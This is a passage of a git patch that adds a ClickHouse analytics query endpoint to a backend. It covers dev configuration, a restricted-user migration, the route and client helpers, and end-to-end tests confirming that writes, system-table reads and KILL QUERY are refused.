From 0c088962934cdf829c9e6b282d2fa5a4e07723a3 Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Wed, 26 Nov 2025 09:47:41 -0800
Subject: [PATCH 01/25] clickhouse setup

---
 apps/backend/.env.development                 |   8 +
 apps/backend/package.json                     |   1 +
 apps/backend/scripts/clickhouse-migrations.ts |  25 ++
 apps/backend/scripts/db-migrations.ts         |   3 +
 .../app/api/latest/analytics/query/route.tsx  |  74 ++++
 apps/backend/src/lib/clickhouse.tsx           |  56 +++
 apps/dev-launchpad/public/index.html          |  10 +
 .../endpoints/api/v1/analytics-query.test.ts  | 387 ++++++++++++++++++
 apps/e2e/tests/snapshot-serializer.ts         |   2 +
 docker/dependencies/docker.compose.yaml       |  20 +
 packages/stack-shared/src/known-errors.tsx    |  24 ++
 pnpm-lock.yaml                                |  16 +
 12 files changed, 626 insertions(+)
 create mode 100644 apps/backend/scripts/clickhouse-migrations.ts
 create mode 100644 apps/backend/src/app/api/latest/analytics/query/route.tsx
 create mode 100644 apps/backend/src/lib/clickhouse.tsx
 create mode 100644 apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts

diff --git a/apps/backend/.env.development b/apps/backend/.env.development
index 0b57a9c090..312e599c26 100644
--- a/apps/backend/.env.development
+++ b/apps/backend/.env.development
@@ -70,3 +70,11 @@ STACK_QSTASH_URL=http://localhost:${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}25
 STACK_QSTASH_TOKEN=eyJVc2VySUQiOiJkZWZhdWx0VXNlciIsIlBhc3N3b3JkIjoiZGVmYXVsdFBhc3N3b3JkIn0=
 STACK_QSTASH_CURRENT_SIGNING_KEY=sig_7kYjw48mhY7kAjqNGcy6cr29RJ6r
 STACK_QSTASH_NEXT_SIGNING_KEY=sig_5ZB6DVzB1wjE8S6rZ7eenA8Pdnhs
+
+# Clickhouse
+CLICKHOUSE_URL=http://localhost:${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}33
+CLICKHOUSE_ADMIN_USER=stackframe
+CLICKHOUSE_ADMIN_PASSWORD=PASSWORD-PLACEHOLDER--9gKyMxJeMx
+CLICKHOUSE_EXTERNAL_USER=limited_user
+CLICKHOUSE_EXTERNAL_PASSWORD=PASSWORD-PLACEHOLDER--EZeHscBMzE
+CLICKHOUSE_DATABASE=analytics
diff --git a/apps/backend/package.json b/apps/backend/package.json
index dc06f209a3..abad48d881 100644
--- a/apps/backend/package.json
+++ b/apps/backend/package.json
@@ -43,6 +43,7 @@
   "dependencies": {
     "@ai-sdk/openai": "^1.3.23",
     "@aws-sdk/client-s3": "^3.855.0",
+    "@clickhouse/client": "^1.14.0",
     "@next/bundle-analyzer": "15.2.3",
     "@node-oauth/oauth2-server": "^5.1.0",
     "@opentelemetry/api": "^1.9.0",
diff --git a/apps/backend/scripts/clickhouse-migrations.ts b/apps/backend/scripts/clickhouse-migrations.ts
new file mode 100644
index 0000000000..99b9b1b5e3
--- /dev/null
+++ b/apps/backend/scripts/clickhouse-migrations.ts
@@ -0,0 +1,25 @@
+import { createClickhouseClient } from "@/lib/clickhouse";
+import { getEnvVariable } from "@stackframe/stack-shared/dist/utils/env";
+
+export async function runClickhouseMigrations() {
+  console.log("Running Clickhouse migrations...");
+  const client = createClickhouseClient("admin");
+  const clickhouseExternalPassword = getEnvVariable("CLICKHOUSE_EXTERNAL_PASSWORD");
+  // todo: create migration files
+  await client.exec({
+    query: "CREATE USER IF NOT EXISTS limited_user IDENTIFIED WITH plaintext_password BY {clickhouseExternalPassword:String}",
+    query_params: { clickhouseExternalPassword },
+  });
+  const queries = [
+    "GRANT SELECT ON analytics.allowed_table1 TO limited_user;",
+    "REVOKE ALL ON system.* FROM limited_user;",
+    "REVOKE CREATE, ALTER, DROP, INSERT ON *.* FROM limited_user;"
+  ];
+  for (const query of queries) {
+    console.log(query);
+    await client.exec({ query });
+  }
+  console.log("Clickhouse migrations complete");
+  await client.close();
+}
+
diff --git a/apps/backend/scripts/db-migrations.ts b/apps/backend/scripts/db-migrations.ts
index d833ed688c..a37e5ed796 100644
--- a/apps/backend/scripts/db-migrations.ts
+++ b/apps/backend/scripts/db-migrations.ts
@@ -8,6 +8,7 @@ import path from "path";
 import * as readline from "readline";
 import { seed } from "../prisma/seed";
 import { getEnvVariable } from "@stackframe/stack-shared/dist/utils/env";
+import { runClickhouseMigrations } from "./clickhouse-migrations";
 
 const dropSchema = async () => {
   await globalPrismaClient.$executeRaw(Prisma.sql`DROP SCHEMA ${sqlQuoteIdent(globalPrismaSchema)} CASCADE`);
@@ -151,6 +152,8 @@ const migrate = async (selectedMigrationFiles?: { migrationName: string, sql: st
 
   console.log('='.repeat(60) + '\n');
 
+  await runClickhouseMigrations();
+
   return result;
 };
 
diff --git a/apps/backend/src/app/api/latest/analytics/query/route.tsx b/apps/backend/src/app/api/latest/analytics/query/route.tsx
new file mode 100644
index 0000000000..ab372f6bb6
--- /dev/null
+++ b/apps/backend/src/app/api/latest/analytics/query/route.tsx
@@ -0,0 +1,74 @@
+import { createClickhouseClient, getQueryTimingStats } from "@/lib/clickhouse";
+import { createSmartRouteHandler } from "@/route-handlers/smart-route-handler";
+import { KnownErrors } from "@stackframe/stack-shared";
+import { adaptSchema, jsonSchema, serverOrHigherAuthTypeSchema, yupBoolean, yupMixed, yupNumber, yupObject, yupRecord, yupString } from "@stackframe/stack-shared/dist/schema-fields";
+import { Result } from "@stackframe/stack-shared/dist/utils/results";
+import { randomUUID } from "crypto";
+
+export const POST = createSmartRouteHandler({
+  metadata: {
+    summary: "Execute analytics query",
+    description: "Execute a ClickHouse query against the analytics database",
+    tags: ["Analytics"],
+  },
+  request: yupObject({
+    auth: yupObject({
+      type: serverOrHigherAuthTypeSchema,
+      tenancy: adaptSchema,
+    }).defined(),
+    body: yupObject({
+      include_all_branches: yupBoolean().default(false),
+      query: yupString().defined().nonEmpty(),
+      params: yupRecord(yupString().defined(), yupMixed().defined()).default({}),
+      timeout_ms: yupNumber().integer().min(1).max(60000).default(1000),
+    }).defined(),
+  }),
+  response: yupObject({
+    statusCode: yupNumber().oneOf([200]).defined(),
+    bodyType: yupString().oneOf(["json"]).defined(),
+    body: yupObject({
+      result: jsonSchema.defined(),
+      stats: yupObject({
+        cpu_time: yupNumber().defined(),
+        wall_clock_time: yupNumber().defined(),
+      }).defined(),
+    }).defined(),
+  }),
+  async handler({ body, auth }) {
+    const client = createClickhouseClient("external", body.timeout_ms);
+    const queryId = randomUUID();
+    const resultSet = await Result.fromPromise(client.query({
+      query: body.query,
+      query_id: queryId,
+      query_params: body.params,
+      clickhouse_settings: {
+        SQL_tenancy_id: auth.tenancy.id,
+      },
+      format: "JSONEachRow",
+    }));
+
+    if (resultSet.status === "error") {
+      const message = resultSet.error instanceof Error ? resultSet.error.message : null;
+      if (message === "Timeout error.") {
+        throw new KnownErrors.AnalyticsQueryTimeout(body.timeout_ms);
+      }
+      throw new KnownErrors.AnalyticsQueryError(message ?? "Unknown error");
+    }
+
+    const rows = await resultSet.data.json<Record<string, unknown>[]>();
+    const stats = await getQueryTimingStats(client, queryId);
+
+    return {
+      statusCode: 200,
+      bodyType: "json",
+      body: {
+        result: rows,
+        stats: {
+          cpu_time: stats.cpu_time_ms,
+          wall_clock_time: stats.wall_clock_time_ms,
+        },
+      },
+    };
+  },
+});
+
diff --git a/apps/backend/src/lib/clickhouse.tsx b/apps/backend/src/lib/clickhouse.tsx
new file mode 100644
index 0000000000..86184f439d
--- /dev/null
+++ b/apps/backend/src/lib/clickhouse.tsx
@@ -0,0 +1,56 @@
+import { createClient, type ClickHouseClient } from "@clickhouse/client";
+import { getEnvVariable } from "@stackframe/stack-shared/dist/utils/env";
+
+const clickhouseUrl = getEnvVariable("CLICKHOUSE_URL");
+const clickhouseAdminUser = getEnvVariable("CLICKHOUSE_ADMIN_USER");
+const clickhouseExternalUser = getEnvVariable("CLICKHOUSE_EXTERNAL_USER");
+const clickhouseAdminPassword = getEnvVariable("CLICKHOUSE_ADMIN_PASSWORD");
+const clickhouseExternalPassword = getEnvVariable("CLICKHOUSE_EXTERNAL_PASSWORD");
+const clickhouseDatabase = getEnvVariable("CLICKHOUSE_DATABASE");
+
+export function createClickhouseClient(authType: "admin" | "external", timeoutMs?: number) {
+  return createClient({
+    url: clickhouseUrl,
+    username: authType === "admin" ? clickhouseAdminUser : clickhouseExternalUser,
+    password: authType === "admin" ? clickhouseAdminPassword : clickhouseExternalPassword,
+    database: clickhouseDatabase,
+    request_timeout: timeoutMs,
+  });
+}
+
+
+export const getQueryTimingStats = async (client: ClickHouseClient, queryId: string) => {
+  // Flush logs to ensure system.query_log has latest query result.
+  // Todo: for performance we should instead poll for this row to become available asynchronously after returning result. Flushed every 7.5 seconds by default
+  await client.exec({
+    query: "SYSTEM FLUSH LOGS",
+    auth: {
+      username: clickhouseAdminUser,
+      password: clickhouseAdminPassword,
+    },
+  });
+  const profile = await client.query({
+    query: `
+    SELECT
+      ProfileEvents['CPUTimeMicroseconds'] / 1000 AS cpu_time_ms,
+      ProfileEvents['RealTimeMicroseconds'] / 1000 AS wall_clock_time_ms
+    FROM system.query_log
+    WHERE query_id = {query_id:String} AND type = 'QueryFinish'
+    ORDER BY event_time DESC
+    LIMIT 1
+  `,
+    query_params: { query_id: queryId },
+    auth: {
+      username: clickhouseAdminUser,
+      password: clickhouseAdminPassword,
+    },
+    format: "JSON",
+  });
+
+  const stats = await profile.json<{
+    cpu_time_ms: number,
+    wall_clock_time_ms: number,
+  }>();
+  return stats.data[0];
+};
+
diff --git a/apps/dev-launchpad/public/index.html b/apps/dev-launchpad/public/index.html
index 8890d533fd..3716ac5207 100644
--- a/apps/dev-launchpad/public/index.html
+++ b/apps/dev-launchpad/public/index.html
@@ -129,6 +129,7 @@ <h2 style="margin-top: 64px;">Background services</h2>
         { suffix: "22", label: "Freestyle mock" },
         { suffix: "24", label: "LocalStack Gateway (AWS mock)" },
         { suffix: "25", label: "QStash mock" },
+        { suffix: "33", label: "ClickHouse" },
         { range: ["50", "99"], label: "Reserved for LocalStack (external services)" },
       ];
 
@@ -300,6 +301,15 @@ <h2 style="margin-top: 64px;">Background services</h2>
             "React example",
           ],
         },
+        {
+          name: "ClickHouse",
+          portSuffix: "33",
+          description: [
+            "ClickHouse",
+          ],
+          importance: 1,
+          img: "https://thumbs.bfldr.com/at/qkjfv3nvsv4rbwn94zmtb4t/v/1197417003?expiry=1764357242&fit=bounds&height=800&sig=NjEwNzA0OThjZmJiZDQzZmUwNjIyY2UxYzZiNGYxNmQ3NjJiYjc0OA%3D%3D&width=1100",
+        },
         {
           name: "MCPJam Inspector",
           portSuffix: "26",
diff --git a/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
new file mode 100644
index 0000000000..6f8c092d43
--- /dev/null
+++ b/apps/e2e/tests/backend/endpoints/api/v1/analytics-query.test.ts
@@ -0,0 +1,387 @@
+import { it } from "../../../../helpers";
+import { Auth, Project, niceBackendFetch } from "../../../backend-helpers";
+
+it("can execute a basic query with server access", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Auth.Otp.signIn();
+
+  const response = await niceBackendFetch("/api/v1/analytics/query", {
+    method: "POST",
+    accessType: "server",
+    body: {
+      query: "SELECT 1 as value",
+    },
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [{ "value": 1 }],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
+      },
+      "headers": Headers { <some fields may have been hidden> },
+    }
+  `);
+});
+
+it("can execute a query with parameters", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Auth.Otp.signIn();
+
+  const response = await niceBackendFetch("/api/v1/analytics/query", {
+    method: "POST",
+    accessType: "server",
+    body: {
+      query: "SELECT {test_param:String} as value",
+      params: {
+        test_param: "hello world",
+      },
+    },
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [{ "value": "hello world" }],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
+      },
+      "headers": Headers { <some fields may have been hidden> },
+    }
+  `);
+});
+
+it("can execute a query with custom timeout", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Auth.Otp.signIn();
+
+  const response = await niceBackendFetch("/api/v1/analytics/query", {
+    method: "POST",
+    accessType: "server",
+    body: {
+      query: "SELECT 1 as value",
+      timeout_ms: 5000,
+    },
+  });
+
+  expect(response.status).toBe(200);
+  expect(response.body).toMatchInlineSnapshot(`
+    {
+      "result": [{ "value": 1 }],
+      "stats": {
+        "cpu_time": <stripped field 'cpu_time'>,
+        "wall_clock_time": <stripped field 'wall_clock_time'>,
+      },
+    }
+  `);
+});
+
+it("validates required query field", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Auth.Otp.signIn();
+
+  const response = await niceBackendFetch("/api/v1/analytics/query", {
+    method: "POST",
+    accessType: "server",
+    body: {},
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "SCHEMA_ERROR",
+        "details": {
+          "message": deindent\`
+            Request validation failed on POST /api/v1/analytics/query:
+              - body.query must be defined
+          \`,
+        },
+        "error": deindent\`
+          Request validation failed on POST /api/v1/analytics/query:
+            - body.query must be defined
+        \`,
+      },
+      "headers": Headers {
+        "x-stack-known-error": "SCHEMA_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("handles invalid SQL query", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Auth.Otp.signIn();
+
+  const response = await niceBackendFetch("/api/v1/analytics/query", {
+    method: "POST",
+    accessType: "server",
+    body: {
+      query: "INVALID SQL QUERY",
+    },
+  });
+
+  expect(response.status).toBe(400);
+  expect(response.body).toMatchInlineSnapshot(`
+    {
+      "code": "ANALYTICS_QUERY_ERROR",
+      "details": {
+        "error": deindent\`
+          Syntax error: failed at position 1 (INVALID) (line 1, col 1): INVALID SQL QUERY 
+          FORMAT JSONEachRow. Expected one of: Query, Query with output, EXPLAIN, EXPLAIN, SELECT query, possibly with UNION, list of union elements, SELECT query, subquery, possibly with UNION, SELECT subquery, SELECT query, WITH, FROM, SELECT, SHOW CREATE QUOTA query, SHOW CREATE, SHOW [FULL] [TEMPORARY] TABLES|DATABASES|CLUSTERS|CLUSTER|MERGES 'name' [[NOT] [I]LIKE 'str'] [LIMIT expr], SHOW, SHOW COLUMNS query, SHOW ENGINES query, SHOW ENGINES, SHOW FUNCTIONS query, SHOW FUNCTIONS, SHOW INDEXES query, SHOW SETTING query, SHOW SETTING, EXISTS or SHOW CREATE query, EXISTS, DESCRIBE FILESYSTEM CACHE query, DESCRIBE, DESC, DESCRIBE query, SHOW PROCESSLIST query, SHOW PROCESSLIST, CREATE TABLE or ATTACH TABLE query, CREATE, ATTACH, REPLACE, CREATE DATABASE query, CREATE VIEW query, CREATE DICTIONARY, CREATE LIVE VIEW query, CREATE WINDOW VIEW query, ALTER query, ALTER TABLE, ALTER TEMPORARY TABLE, ALTER DATABASE, RENAME query, RENAME DATABASE, RENAME TABLE, EXCHANGE TABLES, RENAME DICTIONARY, EXCHANGE DICTIONARIES, RENAME, DROP query, DROP, DETACH, TRUNCATE, UNDROP query, UNDROP, CHECK ALL TABLES, CHECK TABLE, KILL QUERY query, KILL, OPTIMIZE query, OPTIMIZE TABLE, WATCH query, WATCH, SHOW ACCESS query, SHOW ACCESS, ShowAccessEntitiesQuery, SHOW GRANTS query, SHOW GRANTS, SHOW PRIVILEGES query, SHOW PRIVILEGES, BACKUP or RESTORE query, BACKUP, RESTORE, INSERT query, INSERT INTO, USE query, USE, SET ROLE or SET DEFAULT ROLE query, SET ROLE DEFAULT, SET ROLE, SET DEFAULT ROLE, SET query, SET, SYSTEM query, SYSTEM, CREATE USER or ALTER USER query, ALTER USER, CREATE USER, CREATE ROLE or ALTER ROLE query, ALTER ROLE, CREATE ROLE, CREATE QUOTA or ALTER QUOTA query, ALTER QUOTA, CREATE QUOTA, CREATE ROW POLICY or ALTER ROW POLICY query, ALTER POLICY, ALTER ROW POLICY, CREATE POLICY, CREATE ROW POLICY, CREATE SETTINGS PROFILE or ALTER SETTINGS PROFILE query, ALTER SETTINGS PROFILE, ALTER PROFILE, CREATE SETTINGS PROFILE, CREATE PROFILE, CREATE FUNCTION query, DROP FUNCTION query, CREATE WORKLOAD query, DROP WORKLOAD query, CREATE RESOURCE query, DROP RESOURCE query, CREATE NAMED COLLECTION, DROP NAMED COLLECTION query, Alter NAMED COLLECTION query, ALTER, CREATE INDEX query, DROP INDEX query, DROP access entity query, MOVE access entity query, MOVE, GRANT or REVOKE query, REVOKE, GRANT, CHECK GRANT, CHECK GRANT, TCL query, BEGIN TRANSACTION, START TRANSACTION, COMMIT, ROLLBACK, SET TRANSACTION SNAPSHOT, Delete query, DELETE, Update query, UPDATE, COPY query, COPY. 
+        \`,
+      },
+      "error": deindent\`
+        The query failed to execute: Syntax error: failed at position 1 (INVALID) (line 1, col 1): INVALID SQL QUERY 
+        FORMAT JSONEachRow. Expected one of: Query, Query with output, EXPLAIN, EXPLAIN, SELECT query, possibly with UNION, list of union elements, SELECT query, subquery, possibly with UNION, SELECT subquery, SELECT query, WITH, FROM, SELECT, SHOW CREATE QUOTA query, SHOW CREATE, SHOW [FULL] [TEMPORARY] TABLES|DATABASES|CLUSTERS|CLUSTER|MERGES 'name' [[NOT] [I]LIKE 'str'] [LIMIT expr], SHOW, SHOW COLUMNS query, SHOW ENGINES query, SHOW ENGINES, SHOW FUNCTIONS query, SHOW FUNCTIONS, SHOW INDEXES query, SHOW SETTING query, SHOW SETTING, EXISTS or SHOW CREATE query, EXISTS, DESCRIBE FILESYSTEM CACHE query, DESCRIBE, DESC, DESCRIBE query, SHOW PROCESSLIST query, SHOW PROCESSLIST, CREATE TABLE or ATTACH TABLE query, CREATE, ATTACH, REPLACE, CREATE DATABASE query, CREATE VIEW query, CREATE DICTIONARY, CREATE LIVE VIEW query, CREATE WINDOW VIEW query, ALTER query, ALTER TABLE, ALTER TEMPORARY TABLE, ALTER DATABASE, RENAME query, RENAME DATABASE, RENAME TABLE, EXCHANGE TABLES, RENAME DICTIONARY, EXCHANGE DICTIONARIES, RENAME, DROP query, DROP, DETACH, TRUNCATE, UNDROP query, UNDROP, CHECK ALL TABLES, CHECK TABLE, KILL QUERY query, KILL, OPTIMIZE query, OPTIMIZE TABLE, WATCH query, WATCH, SHOW ACCESS query, SHOW ACCESS, ShowAccessEntitiesQuery, SHOW GRANTS query, SHOW GRANTS, SHOW PRIVILEGES query, SHOW PRIVILEGES, BACKUP or RESTORE query, BACKUP, RESTORE, INSERT query, INSERT INTO, USE query, USE, SET ROLE or SET DEFAULT ROLE query, SET ROLE DEFAULT, SET ROLE, SET DEFAULT ROLE, SET query, SET, SYSTEM query, SYSTEM, CREATE USER or ALTER USER query, ALTER USER, CREATE USER, CREATE ROLE or ALTER ROLE query, ALTER ROLE, CREATE ROLE, CREATE QUOTA or ALTER QUOTA query, ALTER QUOTA, CREATE QUOTA, CREATE ROW POLICY or ALTER ROW POLICY query, ALTER POLICY, ALTER ROW POLICY, CREATE POLICY, CREATE ROW POLICY, CREATE SETTINGS PROFILE or ALTER SETTINGS PROFILE query, ALTER SETTINGS PROFILE, ALTER PROFILE, CREATE SETTINGS PROFILE, CREATE PROFILE, CREATE FUNCTION query, DROP FUNCTION query, CREATE WORKLOAD query, DROP WORKLOAD query, CREATE RESOURCE query, DROP RESOURCE query, CREATE NAMED COLLECTION, DROP NAMED COLLECTION query, Alter NAMED COLLECTION query, ALTER, CREATE INDEX query, DROP INDEX query, DROP access entity query, MOVE access entity query, MOVE, GRANT or REVOKE query, REVOKE, GRANT, CHECK GRANT, CHECK GRANT, TCL query, BEGIN TRANSACTION, START TRANSACTION, COMMIT, ROLLBACK, SET TRANSACTION SNAPSHOT, Delete query, DELETE, Update query, UPDATE, COPY query, COPY. 
+      \`,
+    }
+  `);
+});
+
+it("can execute query returning multiple rows", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Auth.Otp.signIn();
+
+  const response = await niceBackendFetch("/api/v1/analytics/query", {
+    method: "POST",
+    accessType: "server",
+    body: {
+      query: "SELECT arrayJoin([0, 1, 2]) AS number",
+    },
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [
+          { "number": 0 },
+          { "number": 1 },
+          { "number": 2 },
+        ],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
+      },
+      "headers": Headers { <some fields may have been hidden> },
+    }
+  `);
+});
+
+it("can execute query with multiple parameters", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Auth.Otp.signIn();
+
+  const response = await niceBackendFetch("/api/v1/analytics/query", {
+    method: "POST",
+    accessType: "server",
+    body: {
+      query: "SELECT {param1:String} as col1, {param2:String} as col2",
+      params: {
+        param1: "value1",
+        param2: "value2",
+      },
+    },
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [
+          {
+            "col1": "value1",
+            "col2": "value2",
+          },
+        ],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
+      },
+      "headers": Headers { <some fields may have been hidden> },
+    }
+  `);
+});
+
+it("can execute query and hit custom timeout", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Auth.Otp.signIn();
+
+  const response = await niceBackendFetch("/api/v1/analytics/query", {
+    method: "POST",
+    accessType: "server",
+    body: {
+      query: "SELECT sleep(3)",
+      timeout_ms: 100,
+    },
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_TIMEOUT",
+        "details": { "timeout_ms": 100 },
+        "error": "The query timed out. Please try again with a shorter query or increase the timeout. Timeout was 100ms.",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_TIMEOUT",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+it("sets SQL_tenancy_id setting in query", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Auth.Otp.signIn();
+
+  const response = await niceBackendFetch("/api/v1/analytics/query", {
+    method: "POST",
+    accessType: "server",
+    body: {
+      query: "SELECT getSetting('SQL_tenancy_id') AS tenancy_id;",
+    },
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 200,
+      "body": {
+        "result": [{ "tenancy_id": "<stripped UUID>" }],
+        "stats": {
+          "cpu_time": <stripped field 'cpu_time'>,
+          "wall_clock_time": <stripped field 'wall_clock_time'>,
+        },
+      },
+      "headers": Headers { <some fields may have been hidden> },
+    }
+  `);
+});
+
+
+it("does not allow CREATE TABLE", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Auth.Otp.signIn();
+
+  const response = await niceBackendFetch("/api/v1/analytics/query", {
+    method: "POST",
+    accessType: "server",
+    body: {
+      query: "CREATE TABLE IF NOT EXISTS test_table (id UUID) ENGINE = MergeTree() ORDER BY id;",
+    },
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TABLE ON analytics.test_table. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant CREATE TABLE ON analytics.test_table. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+
+it("does not allow querying system tables", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Auth.Otp.signIn();
+
+  const response = await niceBackendFetch("/api/v1/analytics/query", {
+    method: "POST",
+    accessType: "server",
+    body: {
+      query: "SELECT number FROM system.numbers LIMIT 1",
+    },
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(number) ON system.numbers. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(number) ON system.numbers. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+
+it("does not allow killing queries", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Auth.Otp.signIn();
+
+  const response = await niceBackendFetch("/api/v1/analytics/query", {
+    method: "POST",
+    accessType: "server",
+    body: {
+      query: "KILL QUERY WHERE query_id = '00000000-0000-0000-0000-000000000000'",
+    },
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(query_id, user, query) ON system.processes. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant SELECT(query_id, user, query) ON system.processes. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
+
+
+it("does not allow INSERT statements", async ({ expect }) => {
+  await Project.createAndSwitch({ config: { magic_link_enabled: true } });
+  await Auth.Otp.signIn();
+
+  const response = await niceBackendFetch("/api/v1/analytics/query", {
+    method: "POST",
+    accessType: "server",
+    body: {
+      query: "INSERT INTO system.one (dummy) VALUES (0)",
+    },
+  });
+
+  expect(response).toMatchInlineSnapshot(`
+    NiceResponse {
+      "status": 400,
+      "body": {
+        "code": "ANALYTICS_QUERY_ERROR",
+        "details": { "error": "limited_user: Not enough privileges. To execute this query, it's necessary to have the grant INSERT(dummy) ON system.one. " },
+        "error": "The query failed to execute: limited_user: Not enough privileges. To execute this query, it's necessary to have the grant INSERT(dummy) ON system.one. ",
+      },
+      "headers": Headers {
+        "x-stack-known-error": "ANALYTICS_QUERY_ERROR",
+        <some fields may have been hidden>,
+      },
+    }
+  `);
+});
diff --git a/apps/e2e/tests/snapshot-serializer.ts b/apps/e2e/tests/snapshot-serializer.ts
index c3762a06fe..e10e2389ff 100644
--- a/apps/e2e/tests/snapshot-serializer.ts
+++ b/apps/e2e/tests/snapshot-serializer.ts
@@ -68,6 +68,8 @@ const stripFields = [
   "nextAttempt",
   "lastFour",
   "port",
+  "wall_clock_time",
+  "cpu_time",
 ] as const;
 
 const stripFieldsIfString = [
diff --git a/docker/dependencies/docker.compose.yaml b/docker/dependencies/docker.compose.yaml
index 0d38003186..0cfb0ad43d 100644
--- a/docker/dependencies/docker.compose.yaml
+++ b/docker/dependencies/docker.compose.yaml
@@ -220,6 +220,25 @@ services:
     environment:
       HOST_ON_HOST: host.docker.internal
 
+  # ================= ClickHouse =================
+
+  clickhouse:
+    image: clickhouse/clickhouse-server:25.10
+    ports:
+      - "${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}33:8123"  # HTTP interface
+      - "${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}34:9000"  # Native interface
+    environment:
+      CLICKHOUSE_DB: analytics
+      CLICKHOUSE_USER: stackframe
+      CLICKHOUSE_PASSWORD: PASSWORD-PLACEHOLDER--9gKyMxJeMx
+      CLICKHOUSE_DEFAULT_ACCESS_MANAGEMENT: 1
+    volumes:
+      - clickhouse-data:/var/lib/clickhouse
+    ulimits:
+      nofile:
+        soft: 262144
+        hard: 262144
+
 
 # ================= volumes =================
 
@@ -232,6 +251,7 @@ volumes:
   deno-cache:
   localstack-data:
   mcpjam-inspector-data:
+  clickhouse-data:
 
 # ================= configs =================
 
diff --git a/packages/stack-shared/src/known-errors.tsx b/packages/stack-shared/src/known-errors.tsx
index 2be510f9e7..ae37b7a295 100644
--- a/packages/stack-shared/src/known-errors.tsx
+++ b/packages/stack-shared/src/known-errors.tsx
@@ -1629,6 +1629,28 @@ const StripeAccountInfoNotFound = createKnownErrorConstructor(
   () => [] as const,
 );
 
+const AnalyticsQueryTimeout = createKnownErrorConstructor(
+  KnownError,
+  "ANALYTICS_QUERY_TIMEOUT",
+  (timeoutMs: number) => [
+    400,
+    `The query timed out. Please try again with a shorter query or increase the timeout. Timeout was ${timeoutMs}ms.`,
+    { timeout_ms: timeoutMs },
+  ] as const,
+  (json) => [json.timeout_ms] as const,
+);
+
+const AnalyticsQueryError = createKnownErrorConstructor(
+  KnownError,
+  "ANALYTICS_QUERY_ERROR",
+  (error: string) => [
+    400,
+    `The query failed to execute: ${error}`,
+    { error },
+  ] as const,
+  (json) => [json.error] as const,
+);
+
 export type KnownErrors = {
   [K in keyof typeof KnownErrors]: InstanceType<typeof KnownErrors[K]>;
 };
@@ -1759,6 +1781,8 @@ export const KnownErrors = {
